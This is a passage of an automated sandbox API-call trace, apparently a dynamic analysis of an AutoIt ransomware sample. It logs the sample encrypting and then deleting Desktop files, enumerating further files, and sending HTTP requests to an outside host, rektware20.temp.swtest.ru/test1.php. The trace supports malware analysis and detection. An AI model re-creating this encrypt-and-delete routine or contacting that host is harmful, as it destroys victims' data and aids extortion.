wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.539] WriteFile (in: hFile=0x3d8, lpBuffer=0x17c30b8*, nNumberOfBytesToWrite=0x42d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c30b8*, lpNumberOfBytesWritten=0x130f01c*=0x42d0, lpOverlapped=0x0) returned 1 [0074.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.542] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.542] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.542] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.542] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.543] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.543] CryptDestroyKey (hKey=0x164c530) returned 1 [0074.543] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.543] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.543] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.543] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.544] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.544] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.544] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.544] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.544] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.545] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.545] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.545] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.545] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.545] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.545] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.545] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.545] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.545] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.545] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.545] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.545] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.545] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.546] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.546] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0074.546] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.546] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.546] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.546] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.546] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.546] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.547] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.547] CloseHandle (hObject=0x3d0) returned 1 [0074.549] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.549] CloseHandle (hObject=0x3d8) returned 1 [0074.566] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.566] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.566] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", lpFilePart=0x0) returned 0x36 [0074.566] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4dzkuvf3_dd9vdyho9zk.wav")) returned 0x20 [0074.566] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c370 [0074.566] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4dZKUVf3_DD9vdyhO9zK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4dzkuvf3_dd9vdyho9zk.wav")) returned 1 [0074.570] FindNextFileW (in: hFindFile=0x164c370, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.570] FindClose (in: hFindFile=0x164c370 | out: hFindFile=0x164c370) returned 1 [0074.570] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.570] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.570] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.571] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.571] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0074.571] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0074.571] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.571] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0074.571] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.571] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0074.571] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0074.571] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ef8c) returned 1 [0074.571] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.571] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.572] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.572] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0074.572] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0074.572] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0074.572] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0074.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0074.573] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.573] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.573] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.573] CloseHandle (hObject=0x0) returned 0 [0074.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BgTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gTkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TkZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kZte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zte.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="te.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.575] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.575] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.575] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.575] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.575] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.575] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.575] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.576] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.576] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0074.576] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.576] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.576] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.577] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.577] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.577] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.577] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.577] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.577] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.577] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.578] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.578] CloseHandle (hObject=0x0) returned 0 [0074.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.578] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5BgTkZte.ods", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0074.578] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0074.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.578] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.578] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.579] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.581] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.581] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.581] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.581] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.581] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 